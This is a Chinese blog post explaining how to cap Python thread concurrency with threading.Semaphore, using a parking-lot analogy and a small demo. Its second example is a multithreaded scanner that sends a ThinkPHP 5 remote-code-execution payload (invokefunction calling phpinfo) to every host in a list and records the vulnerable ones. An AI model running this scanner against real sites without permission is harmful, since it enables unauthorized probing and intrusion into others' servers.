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python 线程数控制 python多线程semaphore实现线程数控制的示例

TuudOp 人气:0
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前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

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